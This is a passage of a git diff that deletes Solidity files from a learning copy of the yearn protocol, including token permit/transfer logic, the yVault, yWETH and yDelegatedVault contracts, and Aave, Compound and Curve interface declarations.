-        require(msg.sender == pendingGovernance, "acceptGovernance: !pendingGov");
-        governance = pendingGovernance;
-    }
-
-    /**
-     * @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
-     * @param account The address of the account holding the funds
-     * @param spender The address of the account spending the funds
-     * @return The number of tokens approved
-     */
-    function allowance(address account, address spender) external view returns (uint256) {
-        return allowances[account][spender];
-    }
-
-    /**
-     * @notice Approve `spender` to transfer up to `amount` from `src`
-     * @dev This will overwrite the approval amount for `spender`
-     *  and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
-     * @param spender The address of the account which may transfer tokens
-     * @param amount The number of tokens that are approved (2^256-1 means infinite)
-     * @return Whether or not the approval succeeded
-     */
-    function approve(address spender, uint256 amount) external returns (bool) {
-        allowances[msg.sender][spender] = amount;
-
-        emit Approval(msg.sender, spender, amount);
-        return true;
-    }
-
-    /**
-     * @notice Triggers an approval from owner to spends
-     * @param owner The address to approve from
-     * @param spender The address to be approved
-     * @param amount The number of tokens that are approved (2^256-1 means infinite)
-     * @param deadline The time at which to expire the signature
-     * @param v The recovery byte of the signature
-     * @param r Half of the ECDSA signature pair
-     * @param s Half of the ECDSA signature pair
-     */
-    function permit(
-        address owner,
-        address spender,
-        uint256 amount,
-        uint256 deadline,
-        uint8 v,
-        bytes32 r,
-        bytes32 s
-    ) external {
-        bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline));
-        bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAINSEPARATOR, structHash));
-        address signatory = ecrecover(digest, v, r, s);
-        require(signatory != address(0), "permit: signature");
-        require(signatory == owner, "permit: unauthorized");
-        require(now <= deadline, "permit: expired");
-
-        allowances[owner][spender] = amount;
-
-        emit Approval(owner, spender, amount);
-    }
-
-    /**
-     * @notice Get the number of tokens held by the `account`
-     * @param account The address of the account to get the balance of
-     * @return The number of tokens held
-     */
-    function balanceOf(address account) external view returns (uint256) {
-        return balances[account];
-    }
-
-    /**
-     * @notice Transfer `amount` tokens from `msg.sender` to `dst`
-     * @param dst The address of the destination account
-     * @param amount The number of tokens to transfer
-     * @return Whether or not the transfer succeeded
-     */
-    function transfer(address dst, uint256 amount) external returns (bool) {
-        _transferTokens(msg.sender, dst, amount);
-        return true;
-    }
-
-    /**
-     * @notice Transfer `amount` tokens from `src` to `dst`
-     * @param src The address of the source account
-     * @param dst The address of the destination account
-     * @param amount The number of tokens to transfer
-     * @return Whether or not the transfer succeeded
-     */
-    function transferFrom(
-        address src,
-        address dst,
-        uint256 amount
-    ) external returns (bool) {
-        address spender = msg.sender;
-        uint256 spenderAllowance = allowances[src][spender];
-
-        if (spender != src && spenderAllowance != uint256(-1)) {
-            uint256 newAllowance = spenderAllowance.sub(amount, "transferFrom: exceeds spender allowance");
-            allowances[src][spender] = newAllowance;
-
-            emit Approval(src, spender, newAllowance);
-        }
-
-        _transferTokens(src, dst, amount);
-        return true;
-    }
-
-    function _transferTokens(
-        address src,
-        address dst,
-        uint256 amount
-    ) internal {
-        require(src != address(0), "_transferTokens: zero address");
-        require(dst != address(0), "_transferTokens: zero address");
-
-        updateFor(src);
-        updateFor(dst);
-
-        balances[src] = balances[src].sub(amount, "_transferTokens: exceeds balance");
-        balances[dst] = balances[dst].add(amount);
-        emit Transfer(src, dst, amount);
-    }
-
-    function _getChainId() internal pure returns (uint256) {
-        uint256 chainId;
-        assembly {
-            chainId := chainid()
-        }
-        return chainId;
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/vaults/yDelegatedVault.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/vaults/yDelegatedVault.sol
deleted file mode 100644
index ac07fe209..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/vaults/yDelegatedVault.sol
+++ /dev/null
@@ -1,306 +0,0 @@
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-import "@openzeppelinV2/contracts/token/ERC20/ERC20.sol";
-import "@openzeppelinV2/contracts/token/ERC20/ERC20Detailed.sol";
-import "@openzeppelinV2/contracts/ownership/Ownable.sol";
-
-import "../../interfaces/aave/Aave.sol";
-import "../../interfaces/aave/AaveToken.sol";
-import "../../interfaces/aave/Oracle.sol";
-import "../../interfaces/aave/LendingPoolAddressesProvider.sol";
-import "../../interfaces/yearn/IController.sol";
-
-contract yDelegatedVault is ERC20, ERC20Detailed {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    IERC20 public token;
-
-    address public governance;
-    address public controller;
-    uint256 public insurance;
-    uint256 public healthFactor = 4;
-
-    uint256 public ltv = 65;
-    uint256 public max = 100;
-
-    address public constant aave = address(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8);
-
-    constructor(address _token, address _controller)
-        public
-        ERC20Detailed(
-            string(abi.encodePacked("yearn ", ERC20Detailed(_token).name())),
-            string(abi.encodePacked("y", ERC20Detailed(_token).symbol())),
-            ERC20Detailed(_token).decimals()
-        )
-    {
-        token = IERC20(_token);
-        governance = msg.sender;
-        controller = _controller;
-    }
-
-    function debt() public view returns (uint256) {
-        address _reserve = IController(controller).want(address(this));
-        (, uint256 currentBorrowBalance, , , , , , , , ) = Aave(getAave()).getUserReserveData(_reserve, address(this));
-        return currentBorrowBalance;
-    }
-
-    function credit() public view returns (uint256) {
-        return IController(controller).balanceOf(address(this));
-    }
-
-    // % of tokens locked and cannot be withdrawn per user
-    // this is impermanent locked, unless the debt out accrues the strategy
-    function locked() public view returns (uint256) {
-        return credit().mul(1e18).div(debt());
-    }
-
-    function debtShare(address _lp) public view returns (uint256) {
-        return debt().mul(balanceOf(_lp)).mul(totalSupply());
-    }
-
-    function getAave() public view returns (address) {
-        return LendingPoolAddressesProvider(aave).getLendingPool();
-    }
-
-    function getAaveCore() public view returns (address) {
-        return LendingPoolAddressesProvider(aave).getLendingPoolCore();
-    }
-
-    function setHealthFactor(uint256 _hf) external {
-        require(msg.sender == governance, "!governance");
-        healthFactor = _hf;
-    }
-
-    function activate() public {
-        Aave(getAave()).setUserUseReserveAsCollateral(underlying(), true);
-    }
-
-    function repay(address reserve, uint256 amount) public {
-        // Required for certain stable coins (USDT for example)
-        IERC20(reserve).approve(address(getAaveCore()), 0);
-        IERC20(reserve).approve(address(getAaveCore()), amount);
-        Aave(getAave()).repay(reserve, amount, address(uint160(address(this))));
-    }
-
-    function repayAll() public {
-        address _reserve = reserve();
-        uint256 _amount = IERC20(_reserve).balanceOf(address(this));
-        repay(_reserve, _amount);
-    }
-
-    // Used to swap any borrowed reserve over the debt limit to liquidate to 'token'
-    function harvest(address reserve, uint256 amount) external {
-        require(msg.sender == controller, "!controller");
-        require(reserve != address(token), "token");
-        IERC20(reserve).safeTransfer(controller, amount);
-    }
-
-    // Ignore insurance fund for balance calculations
-    function balance() public view returns (uint256) {
-        return token.balanceOf(address(this)).sub(insurance);
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setController(address _controller) external {
-        require(msg.sender == governance, "!governance");
-        controller = _controller;
-    }
-
-    function getAaveOracle() public view returns (address) {
-        return LendingPoolAddressesProvider(aave).getPriceOracle();
-    }
-
-    function getReservePriceETH(address reserve) public view returns (uint256) {
-        return Oracle(getAaveOracle()).getAssetPrice(reserve);
-    }
-
-    function shouldRebalance() external view returns (bool) {
-        return (over() > 0);
-    }
-
-    function over() public view returns (uint256) {
-        over(0);
-    }
-
-    function getUnderlyingPriceETH(uint256 _amount) public view returns (uint256) {
-        _amount = _amount.mul(getUnderlyingPrice()).div(uint256(10)**ERC20Detailed(address(token)).decimals()); // Calculate the amount we are withdrawing in ETH
-        return _amount.mul(ltv).div(max).div(healthFactor);
-    }
-
-    function over(uint256 _amount) public view returns (uint256) {
-        address _reserve = reserve();
-        uint256 _eth = getUnderlyingPriceETH(_amount);
-        (uint256 _maxSafeETH, uint256 _totalBorrowsETH, ) = maxSafeETH();
-        _maxSafeETH = _maxSafeETH.mul(105).div(100); // 5% buffer so we don't go into a earn/rebalance loop
-        if (_eth > _maxSafeETH) {
-            _maxSafeETH = 0;
-        } else {
-            _maxSafeETH = _maxSafeETH.sub(_eth); // Add the ETH we are withdrawing
-        }
-        if (_maxSafeETH < _totalBorrowsETH) {
-            uint256 _over = _totalBorrowsETH.mul(_totalBorrowsETH.sub(_maxSafeETH)).div(_totalBorrowsETH);
-            _over = _over.mul(uint256(10)**ERC20Detailed(_reserve).decimals()).div(getReservePrice());
-            return _over;
-        } else {
-            return 0;
-        }
-    }
-
-    function _rebalance(uint256 _amount) internal {
-        uint256 _over = over(_amount);
-        if (_over > 0) {
-            if (_over > credit()) {
-                _over = credit();
-            }
-            if (_over > 0) {
-                IController(controller).withdraw(address(this), _over);
-                repayAll();
-            }
-        }
-    }
-
-    function rebalance() external {
-        _rebalance(0);
-    }
-
-    function claimInsurance() external {
-        require(msg.sender == controller, "!controller");
-        token.safeTransfer(controller, insurance);
-        insurance = 0;
-    }
-
-    function maxSafeETH()
-        public
-        view
-        returns (
-            uint256 maxBorrowsETH,
-            uint256 totalBorrowsETH,
-            uint256 availableBorrowsETH
-        )
-    {
-        (, , uint256 _totalBorrowsETH, , uint256 _availableBorrowsETH, , , ) = Aave(getAave()).getUserAccountData(address(this));
-        uint256 _maxBorrowETH = (_totalBorrowsETH.add(_availableBorrowsETH));
-        return (_maxBorrowETH.div(healthFactor), _totalBorrowsETH, _availableBorrowsETH);
-    }
-
-    function shouldBorrow() external view returns (bool) {
-        return (availableToBorrowReserve() > 0);
-    }
-
-    function availableToBorrowETH() public view returns (uint256) {
-        (uint256 _maxSafeETH, uint256 _totalBorrowsETH, uint256 _availableBorrowsETH) = maxSafeETH();
-        _maxSafeETH = _maxSafeETH.mul(95).div(100); // 5% buffer so we don't go into a earn/rebalance loop
-        if (_maxSafeETH > _totalBorrowsETH) {
-            return _availableBorrowsETH.mul(_maxSafeETH.sub(_totalBorrowsETH)).div(_availableBorrowsETH);
-        } else {
-            return 0;
-        }
-    }
-
-    function availableToBorrowReserve() public view returns (uint256) {
-        address _reserve = reserve();
-        uint256 _available = availableToBorrowETH();
-        if (_available > 0) {
-            return _available.mul(uint256(10)**ERC20Detailed(_reserve).decimals()).div(getReservePrice());
-        } else {
-            return 0;
-        }
-    }
-
-    function getReservePrice() public view returns (uint256) {
-        return getReservePriceETH(reserve());
-    }
-
-    function getUnderlyingPrice() public view returns (uint256) {
-        return getReservePriceETH(underlying());
-    }
-
-    function earn() external {
-        address _reserve = reserve();
-        uint256 _borrow = availableToBorrowReserve();
-        if (_borrow > 0) {
-            Aave(getAave()).borrow(_reserve, _borrow, 2, 7);
-        }
-        //rebalance here
-        uint256 _balance = IERC20(_reserve).balanceOf(address(this));
-        if (_balance > 0) {
-            IERC20(_reserve).safeTransfer(controller, _balance);
-            IController(controller).earn(address(this), _balance);
-        }
-    }
-
-    function depositAll() external {
-        deposit(token.balanceOf(msg.sender));
-    }
-
-    function deposit(uint256 _amount) public {
-        uint256 _pool = balance();
-        token.safeTransferFrom(msg.sender, address(this), _amount);
-
-        // 0.5% of deposits go into an insurance fund incase of negative profits to protect withdrawals
-        // At a 4 health factor, this is a -2% position
-        uint256 _insurance = _amount.mul(50).div(10000);
-        _amount = _amount.sub(_insurance);
-        insurance = insurance.add(_insurance);
-
-        //Controller can claim insurance to liquidate to cover interest
-
-        uint256 shares = 0;
-        if (totalSupply() == 0) {
-            shares = _amount;
-        } else {
-            shares = (_amount.mul(totalSupply())).div(_pool);
-        }
-        _mint(msg.sender, shares);
-    }
-
-    function reserve() public view returns (address) {
-        return IController(controller).want(address(this));
-    }
-
-    function underlying() public view returns (address) {
-        return AaveToken(address(token)).underlyingAssetAddress();
-    }
-
-    function withdrawAll() public {
-        withdraw(balanceOf(msg.sender));
-    }
-
-    // Calculates in impermanent lock due to debt
-    function maxWithdrawal(address account) public view returns (uint256) {
-        uint256 _balance = balanceOf(account);
-        uint256 _safeWithdraw = _balance.mul(locked()).div(1e18);
-        if (_safeWithdraw > _balance) {
-            return _balance;
-        } else {
-            uint256 _diff = _balance.sub(_safeWithdraw);
-            return _balance.sub(_diff.mul(healthFactor)); // technically 150%, not 200%, but adding buffer
-        }
-    }
-
-    function safeWithdraw() external {
-        withdraw(maxWithdrawal(msg.sender));
-    }
-
-    // No rebalance implementation for lower fees and faster swaps
-    function withdraw(uint256 _shares) public {
-        uint256 r = (balance().mul(_shares)).div(totalSupply());
-        _burn(msg.sender, _shares);
-        _rebalance(r);
-        token.safeTransfer(msg.sender, r);
-    }
-
-    function getPricePerFullShare() external view returns (uint256) {
-        return balance().mul(1e18).div(totalSupply());
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/vaults/yVault.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/vaults/yVault.sol
deleted file mode 100644
index 953c17fc7..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/vaults/yVault.sol
+++ /dev/null
@@ -1,123 +0,0 @@
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-import "@openzeppelinV2/contracts/token/ERC20/ERC20.sol";
-import "@openzeppelinV2/contracts/token/ERC20/ERC20Detailed.sol";
-import "@openzeppelinV2/contracts/ownership/Ownable.sol";
-
-import "../../interfaces/yearn/IController.sol";
-
-contract yVault is ERC20, ERC20Detailed {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    IERC20 public token;
-
-    uint256 public min = 9500;
-    uint256 public constant max = 10000;
-
-    address public governance;
-    address public controller;
-
-    constructor(address _token, address _controller)
-        public
-        ERC20Detailed(
-            string(abi.encodePacked("yearn ", ERC20Detailed(_token).name())),
-            string(abi.encodePacked("y", ERC20Detailed(_token).symbol())),
-            ERC20Detailed(_token).decimals()
-        )
-    {
-        token = IERC20(_token);
-        governance = msg.sender;
-        controller = _controller;
-    }
-
-    function balance() public view returns (uint256) {
-        return token.balanceOf(address(this)).add(IController(controller).balanceOf(address(token)));
-    }
-
-    function setMin(uint256 _min) external {
-        require(msg.sender == governance, "!governance");
-        min = _min;
-    }
-
-    function setGovernance(address _governance) public {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setController(address _controller) public {
-        require(msg.sender == governance, "!governance");
-        controller = _controller;
-    }
-
-    // Custom logic in here for how much the vault allows to be borrowed
-    // Sets minimum required on-hand to keep small withdrawals cheap
-    function available() public view returns (uint256) {
-        return token.balanceOf(address(this)).mul(min).div(max);
-    }
-
-    function earn() public {
-        uint256 _bal = available();
-        token.safeTransfer(controller, _bal);
-        IController(controller).earn(address(token), _bal);
-    }
-
-    function depositAll() external {
-        deposit(token.balanceOf(msg.sender));
-    }
-
-    function deposit(uint256 _amount) public {
-        uint256 _pool = balance();
-        uint256 _before = token.balanceOf(address(this));
-        token.safeTransferFrom(msg.sender, address(this), _amount);
-        uint256 _after = token.balanceOf(address(this));
-        _amount = _after.sub(_before); // Additional check for deflationary tokens
-        uint256 shares = 0;
-        if (totalSupply() == 0) {
-            shares = _amount;
-        } else {
-            shares = (_amount.mul(totalSupply())).div(_pool);
-        }
-        _mint(msg.sender, shares);
-    }
-
-    function withdrawAll() external {
-        withdraw(balanceOf(msg.sender));
-    }
-
-    // Used to swap any borrowed reserve over the debt limit to liquidate to 'token'
-    function harvest(address reserve, uint256 amount) external {
-        require(msg.sender == controller, "!controller");
-        require(reserve != address(token), "token");
-        IERC20(reserve).safeTransfer(controller, amount);
-    }
-
-    // No rebalance implementation for lower fees and faster swaps
-    function withdraw(uint256 _shares) public {
-        uint256 r = (balance().mul(_shares)).div(totalSupply());
-        _burn(msg.sender, _shares);
-
-        // Check balance
-        uint256 b = token.balanceOf(address(this));
-        if (b < r) {
-            uint256 _withdraw = r.sub(b);
-            IController(controller).withdraw(address(token), _withdraw);
-            uint256 _after = token.balanceOf(address(this));
-            uint256 _diff = _after.sub(b);
-            if (_diff < _withdraw) {
-                r = b.add(_diff);
-            }
-        }
-
-        token.safeTransfer(msg.sender, r);
-    }
-
-    function getPricePerFullShare() public view returns (uint256) {
-        return balance().mul(1e18).div(totalSupply());
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/vaults/yWETH.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/vaults/yWETH.sol
deleted file mode 100644
index b8bf4cf65..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/vaults/yWETH.sol
+++ /dev/null
@@ -1,172 +0,0 @@
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-import "@openzeppelinV2/contracts/token/ERC20/ERC20.sol";
-import "@openzeppelinV2/contracts/token/ERC20/ERC20Detailed.sol";
-import "@openzeppelinV2/contracts/ownership/Ownable.sol";
-
-import "../../interfaces/weth/WETH.sol";
-import "../../interfaces/yearn/IController.sol";
-
-// NOTE: The name of this contract was modified from yVault so as not to conflict with yVault.sol
-contract yWETH is ERC20, ERC20Detailed {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    IERC20 public token;
-
-    uint256 public min = 9990;
-    uint256 public constant max = 10000;
-
-    address public governance;
-    address public controller;
-
-    constructor(address _token, address _controller)
-        public
-        ERC20Detailed(
-            string(abi.encodePacked("yearn ", ERC20Detailed(_token).name())),
-            string(abi.encodePacked("y", ERC20Detailed(_token).symbol())),
-            ERC20Detailed(_token).decimals()
-        )
-    {
-        token = IERC20(_token);
-        governance = msg.sender;
-        controller = _controller;
-    }
-
-    function balance() public view returns (uint256) {
-        return token.balanceOf(address(this)).add(IController(controller).balanceOf(address(token)));
-    }
-
-    function setMin(uint256 _min) external {
-        require(msg.sender == governance, "!governance");
-        min = _min;
-    }
-
-    function setGovernance(address _governance) public {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setController(address _controller) public {
-        require(msg.sender == governance, "!governance");
-        controller = _controller;
-    }
-
-    // Custom logic in here for how much the vault allows to be borrowed
-    // Sets minimum required on-hand to keep small withdrawals cheap
-    function available() public view returns (uint256) {
-        return token.balanceOf(address(this)).mul(min).div(max);
-    }
-
-    function earn() public {
-        uint256 _bal = available();
-        token.safeTransfer(controller, _bal);
-        IController(controller).earn(address(token), _bal);
-    }
-
-    function depositAll() external {
-        deposit(token.balanceOf(msg.sender));
-    }
-
-    function deposit(uint256 _amount) public {
-        uint256 _pool = balance();
-        uint256 _before = token.balanceOf(address(this));
-        token.safeTransferFrom(msg.sender, address(this), _amount);
-        uint256 _after = token.balanceOf(address(this));
-        _amount = _after.sub(_before); // Additional check for deflationary tokens
-        uint256 shares = 0;
-        if (totalSupply() == 0) {
-            shares = _amount;
-        } else {
-            shares = (_amount.mul(totalSupply())).div(_pool);
-        }
-        _mint(msg.sender, shares);
-    }
-
-    function depositETH() public payable {
-        uint256 _pool = balance();
-        uint256 _before = token.balanceOf(address(this));
-        uint256 _amount = msg.value;
-        WETH(address(token)).deposit.value(_amount)();
-        uint256 _after = token.balanceOf(address(this));
-        _amount = _after.sub(_before); // Additional check for deflationary tokens
-        uint256 shares = 0;
-        if (totalSupply() == 0) {
-            shares = _amount;
-        } else {
-            shares = (_amount.mul(totalSupply())).div(_pool);
-        }
-        _mint(msg.sender, shares);
-    }
-
-    function withdrawAll() external {
-        withdraw(balanceOf(msg.sender));
-    }
-
-    function withdrawAllETH() external {
-        withdrawETH(balanceOf(msg.sender));
-    }
-
-    // Used to swap any borrowed reserve over the debt limit to liquidate to 'token'
-    function harvest(address reserve, uint256 amount) external {
-        require(msg.sender == controller, "!controller");
-        require(reserve != address(token), "token");
-        IERC20(reserve).safeTransfer(controller, amount);
-    }
-
-    // No rebalance implementation for lower fees and faster swaps
-    function withdraw(uint256 _shares) public {
-        uint256 r = (balance().mul(_shares)).div(totalSupply());
-        _burn(msg.sender, _shares);
-
-        // Check balance
-        uint256 b = token.balanceOf(address(this));
-        if (b < r) {
-            uint256 _withdraw = r.sub(b);
-            IController(controller).withdraw(address(token), _withdraw);
-            uint256 _after = token.balanceOf(address(this));
-            uint256 _diff = _after.sub(b);
-            if (_diff < _withdraw) {
-                r = b.add(_diff);
-            }
-        }
-
-        token.safeTransfer(msg.sender, r);
-    }
-
-    // No rebalance implementation for lower fees and faster swaps
-    function withdrawETH(uint256 _shares) public {
-        uint256 r = (balance().mul(_shares)).div(totalSupply());
-        _burn(msg.sender, _shares);
-
-        // Check balance
-        uint256 b = token.balanceOf(address(this));
-        if (b < r) {
-            uint256 _withdraw = r.sub(b);
-            IController(controller).withdraw(address(token), _withdraw);
-            uint256 _after = token.balanceOf(address(this));
-            uint256 _diff = _after.sub(b);
-            if (_diff < _withdraw) {
-                r = b.add(_diff);
-            }
-        }
-
-        WETH(address(token)).withdraw(r);
-        address(msg.sender).transfer(r);
-    }
-
-    function getPricePerFullShare() public view returns (uint256) {
-        return balance().mul(1e18).div(totalSupply());
-    }
-
-    function() external payable {
-        if (msg.sender != address(token)) {
-            depositETH();
-        }
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/interfaces/aave/Aave.sol b/Learn-DEFI-YFI/yearn-protocol/interfaces/aave/Aave.sol
deleted file mode 100644
index 6b1bc2aeb..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/interfaces/aave/Aave.sol
+++ /dev/null
@@ -1,48 +0,0 @@
-pragma solidity ^0.5.17;
-
-interface Aave {
-    function borrow(
-        address _reserve,
-        uint256 _amount,
-        uint256 _interestRateModel,
-        uint16 _referralCode
-    ) external;
-
-    function setUserUseReserveAsCollateral(address _reserve, bool _useAsCollateral) external;
-
-    function repay(
-        address _reserve,
-        uint256 _amount,
-        address payable _onBehalfOf
-    ) external payable;
-
-    function getUserAccountData(address _user)
-        external
-        view
-        returns (
-            uint256 totalLiquidityETH,
-            uint256 totalCollateralETH,
-            uint256 totalBorrowsETH,
-            uint256 totalFeesETH,
-            uint256 availableBorrowsETH,
-            uint256 currentLiquidationThreshold,
-            uint256 ltv,
-            uint256 healthFactor
-        );
-
-    function getUserReserveData(address _reserve, address _user)
-        external
-        view
-        returns (
-            uint256 currentATokenBalance,
-            uint256 currentBorrowBalance,
-            uint256 principalBorrowBalance,
-            uint256 borrowRateMode,
-            uint256 borrowRate,
-            uint256 liquidityRate,
-            uint256 originationFee,
-            uint256 variableBorrowIndex,
-            uint256 lastUpdateTimestamp,
-            bool usageAsCollateralEnabled
-        );
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/interfaces/aave/AaveToken.sol b/Learn-DEFI-YFI/yearn-protocol/interfaces/aave/AaveToken.sol
deleted file mode 100644
index 4daf9847f..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/interfaces/aave/AaveToken.sol
+++ /dev/null
@@ -1,5 +0,0 @@
-pragma solidity ^0.5.17;
-
-interface AaveToken {
-    function underlyingAssetAddress() external view returns (address);
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/interfaces/aave/LendingPoolAddressesProvider.sol b/Learn-DEFI-YFI/yearn-protocol/interfaces/aave/LendingPoolAddressesProvider.sol
deleted file mode 100644
index abbf4c12b..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/interfaces/aave/LendingPoolAddressesProvider.sol
+++ /dev/null
@@ -1,9 +0,0 @@
-pragma solidity ^0.5.17;
-
-interface LendingPoolAddressesProvider {
-    function getLendingPool() external view returns (address);
-
-    function getLendingPoolCore() external view returns (address);
-
-    function getPriceOracle() external view returns (address);
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/interfaces/aave/Oracle.sol b/Learn-DEFI-YFI/yearn-protocol/interfaces/aave/Oracle.sol
deleted file mode 100644
index 80c3d646b..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/interfaces/aave/Oracle.sol
+++ /dev/null
@@ -1,7 +0,0 @@
-pragma solidity ^0.5.17;
-
-interface Oracle {
-    function getAssetPrice(address reserve) external view returns (uint256);
-
-    function latestAnswer() external view returns (uint256);
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/interfaces/compound/Token.sol b/Learn-DEFI-YFI/yearn-protocol/interfaces/compound/Token.sol
deleted file mode 100644
index e3bc9c6d5..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/interfaces/compound/Token.sol
+++ /dev/null
@@ -1,21 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-interface cToken {
-    function mint(uint256 mintAmount) external returns (uint256);
-
-    function redeem(uint256 redeemTokens) external returns (uint256);
-
-    function redeemUnderlying(uint256 redeemAmount) external returns (uint256);
-
-    function borrow(uint256 borrowAmount) external returns (uint256);
-
-    function repayBorrow(uint256 repayAmount) external returns (uint256);
-
-    function exchangeRateStored() external view returns (uint256);
-
-    function balanceOf(address _owner) external view returns (uint256);
-
-    function underlying() external view returns (address);
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/interfaces/cream/Controller.sol b/Learn-DEFI-YFI/yearn-protocol/interfaces/cream/Controller.sol
deleted file mode 100644
index 1d2caab6a..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/interfaces/cream/Controller.sol
+++ /dev/null
@@ -1,7 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-interface Creamtroller {
-    function claimComp(address holder) external;
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/interfaces/curve/Curve.sol b/Learn-DEFI-YFI/yearn-protocol/interfaces/curve/Curve.sol
deleted file mode 100644
index d5f127377..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/interfaces/curve/Curve.sol
+++ /dev/null
@@ -1,65 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-interface ICurveFi {
-    function get_virtual_price() external view returns (uint256);
-
-    function add_liquidity(
-        // EURs
-        uint256[2] calldata amounts,
-        uint256 min_mint_amount
-    ) external;
-
-    function add_liquidity(
-        // sBTC pool
-        uint256[3] calldata amounts,
-        uint256 min_mint_amount
-    ) external;
-
-    function add_liquidity(
-        // bUSD pool
-        uint256[4] calldata amounts,
-        uint256 min_mint_amount
-    ) external;
-
-    function remove_liquidity_imbalance(uint256[4] calldata amounts, uint256 max_burn_amount) external;
-
-    function remove_liquidity(uint256 _amount, uint256[4] calldata amounts) external;
-
-    function remove_liquidity_one_coin(
-        uint256 _token_amount,
-        int128 i,
-        uint256 min_amount
-    ) external;
-
-    function exchange(
-        int128 from,
-        int128 to,
-        uint256 _from_amount,
-        uint256 _min_to_amount
-    ) external;
-
-    function exchange_underlying(
-        int128 from,
-        int128 to,
-        uint256 _from_amount,
-        uint256 _min_to_amount
-    ) external;
-
-    function balances(int128) external view returns (uint256);
-
-    function get_dy(
-        int128 from,
-        int128 to,
-        uint256 _from_amount
-    ) external view returns (uint256);
-}
-
-interface Zap {
-    function remove_liquidity_one_coin(
-        uint256,
-        int128,
-        uint256
-    ) external;
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/interfaces/curve/FeeDistribution.sol b/Learn-DEFI-YFI/yearn-protocol/interfaces/curve/FeeDistribution.sol
deleted file mode 100644
index cf725f847..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/interfaces/curve/FeeDistribution.sol
+++ /dev/null
@@ -1,11 +0,0 @@
-pragma solidity ^0.5.17;
-
-interface FeeDistribution {
-    function claim_many(address[20] calldata) external returns (bool);
-
-    function last_token_time() external view returns (uint256);
-
-    function time_cursor() external view returns (uint256);
-
-    function time_cursor_of(address) external view returns (uint256);
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/interfaces/curve/Gauge.sol b/Learn-DEFI-YFI/yearn-protocol/interfaces/curve/Gauge.sol
deleted file mode 100644
index 16284dde1..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/interfaces/curve/Gauge.sol
+++ /dev/null
@@ -1,17 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-interface Gauge {
-    function deposit(uint256) external;
-
-    function balanceOf(address) external view returns (uint256);
-
-    function withdraw(uint256) external;
-
-    function claim_rewards(address) external;
-
-    function rewarded_token() external returns (address);
-
-    function reward_tokens(uint256) external returns (address);
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/interfaces/curve/Mintr.sol b/Learn-DEFI-YFI/yearn-protocol/interfaces/curve/Mintr.sol
deleted file mode 100644
index 78505268d..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/interfaces/curve/Mintr.sol
+++ /dev/null
@@ -1,7 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-interface Mintr {
-    function mint(address) external;
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/interfaces/curve/VoteEscrow.sol b/Learn-DEFI-YFI/yearn-protocol/interfaces/curve/VoteEscrow.sol
deleted file mode 100644
index 2ebf77e47..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/interfaces/curve/VoteEscrow.sol
+++ /dev/null
@@ -1,11 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-interface VoteEscrow {
